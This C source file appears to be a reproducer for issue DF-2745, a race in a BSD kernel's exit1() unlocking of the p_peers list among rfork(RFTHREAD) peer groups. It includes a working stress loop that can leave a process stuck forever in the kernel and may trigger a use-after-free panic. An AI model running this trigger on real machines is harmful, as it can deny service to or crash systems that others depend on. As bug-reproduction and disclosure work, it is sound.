/*
 * DF-2745 — race the unsynchronized p_peers unlink in exit1()
 * (sys/kern/kern_exit.c:384-390) between concurrently exiting
 * rfork(RFTHREAD) peer-group members.
 *
 * Peer group per attempt:
 *
 *      X (leader, plain fork() of worker)
 *      X --rfork(RFTHREAD)--> A        list: X->A
 *      X --rfork(RFTHREAD)--> B        list: X->B->A
 *      X --rfork(RFTHREAD)--> C        list: X->C->B->A
 *
 * A, B, C spin on a shared flag and then exit "simultaneously" (with a
 * small per-member jitter).  Each member's exit1() walks the p_peers list
 * with no lock:
 *
 *      q = p->p_leader;
 *      while (q->p_peers != p)
 *              q = q->p_peers;
 *      q->p_peers = p->p_peers;            <-- write through (stale) pred
 *
 * If an upstream member unlinks between a walker's two dependent loads,
 * the walker unlinks itself from a *stale* predecessor and stays linked
 * from the real one.  Nothing ever clears the leader's p_peers again, so
 * the leader blocks forever in the uninterruptible
 *
 *      while (p->p_peers)
 *              tsleep(p, 0, "exit1", 0);   (kern_exit.c:340)
 *
 * Detection: worker waits for X with a timeout.  X normally exits in
 * milliseconds.  If X never becomes waitable within HIT_TIMEOUT_MS the
 * unlink race was hit (leader permanently stuck inside exit1).
 *
 * Additionally the leader's own peer-kill walk (kern_exit.c:330-339)
 * dereferences the freed members (they were reaped by X before exiting),
 * so a panic of the freed-slab walk is also a possible manifestation.
 *
 * build:  cc -O2 -Wall -o peersrace peersrace.c
 * run:    ./peersrace [iters-per-worker [workers]]
 */
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

#ifndef SYS_rfork
#define SYS_rfork 251
#endif

#define RFPROC   0x0010
#define RFFDG    0x0004
#define RFTHREAD 0x2000
#define RFFLAGS  (RFPROC | RFFDG | RFTHREAD)

#define HIT_TIMEOUT_MS  3000
#define NMEMB           3

struct shared {
        volatile unsigned long attempts;
        volatile int stop;
        volatile int hit;
        volatile int hit_worker;
        volatile unsigned long hit_iter;
        volatile int hit_pid;
};

static pid_t
do_rfork(void)
{
        return (pid_t)syscall(SYS_rfork, RFFLAGS);
}

static long long
now_ms(void)
{
        struct timespec ts;
        clock_gettime(CLOCK_MONOTONIC, &ts);
        return ((long long)ts.tv_sec * 1000) + (ts.tv_nsec / 1000000);
}

/*
 * 0 = clean, 1 = RACE HIT (leader stuck), -1 = setup failure
 */
static int
attempt(struct shared *sh, unsigned long iter, int widx)
{
        volatile int *flag;
        pid_t x;
        int i;

        x = fork();
        if (x < 0)
                return (-1);
        if (x == 0) {
                /* X: peer-group leader */
                flag = mmap(NULL, sizeof(int), PROT_READ | PROT_WRITE,
                            MAP_SHARED | MAP_ANON, -1, 0);
                if (flag == MAP_FAILED)
                        _exit(126);
                *flag = 0;

                for (i = 0; i < NMEMB; i++) {
                        pid_t m = do_rfork();
                        if (m < 0)
                                _exit(126);
                        if (m == 0) {
                                /* member i: jittered simultaneous exit */
                                int d, dlim = (i * 341 + (int)(iter * 97)) & 1023;
                                while (*flag == 0)
                                        ;
                                for (d = 0; d < dlim; d++)
                                        __asm__ volatile ("" ::: "memory");
                                _exit(0);
                        }
                }
                *flag = 1;
                for (i = 0; i < NMEMB; i++) {
                        int st;
                        while (wait(&st) < 0 && errno == EINTR)
                                ;
                }
                _exit(0);
        }

        /* worker: reap X with timeout */
        long long deadline = now_ms() + HIT_TIMEOUT_MS;
        for (;;) {
                int st;
                pid_t r = waitpid(x, &st, WNOHANG);
                if (r == x)
                        return (0);
                if (r < 0)
                        return (-1);
                if (now_ms() > deadline) {
                        sh->hit_pid = x;
                        return (1);
                }
                usleep(2000);
        }
}

int
main(int argc, char **argv)
{
        struct shared *sh;
        unsigned long iters = (argc > 1) ? strtoul(argv[1], NULL, 0) : 400000;
        int workers = (argc > 2) ? atoi(argv[2]) : 4;
        time_t t0 = time(NULL);
        int i;

        sh = mmap(NULL, sizeof(*sh), PROT_READ | PROT_WRITE,
                  MAP_SHARED | MAP_ANON, -1, 0);
        if (sh == MAP_FAILED) {
                perror("mmap");
                return (2);
        }
        memset((void *)sh, 0, sizeof(*sh));

        printf("DF-2745 p_peers exit-race: iters=%lu per worker, workers=%d\n",
               iters, workers);
        fflush(stdout);

        for (i = 0; i < workers; i++) {
                pid_t w = fork();
                if (w < 0) {
                        perror("fork");
                        break;
                }
                if (w == 0) {
                        unsigned long n;
                        for (n = 0; n < iters; n++) {
                                int rc;
                                if (sh->stop)
                                        _exit(0);
                                rc = attempt(sh, n, i);
                                if (rc == 1) {
                                        sh->hit = 1;
                                        sh->hit_worker = i;
                                        sh->hit_iter = n;
                                        sh->stop = 1;
                                        printf("RACE HIT: worker=%d iter=%lu "
                                               "leader pid=%d stuck in exit1 "
                                               "(p_peers never cleared)\n",
                                               i, n, sh->hit_pid);
                                        fflush(stdout);
                                        _exit(1);
                                }
                                if (rc < 0)
                                        usleep(5000);
                                sh->attempts++;
                        }
                        _exit(0);
                }
        }
        for (;;) {
                int st, rc;
                rc = wait(&st);
                if (rc < 0 && errno == ECHILD)
                        break;
        }
        printf("attempts=%lu elapsed=%lds hit=%d\n",
               sh->attempts, (long)(time(NULL) - t0), sh->hit);
        if (sh->hit) {
                printf("VERDICT: reproduced - leader pid %d is stuck "
                       "forever in uninterruptible exit1 tsleep\n",
                       sh->hit_pid);
                return (1);
        }
        printf("VERDICT: not hit in %lu attempts\n", sh->attempts);
        return (0);
}
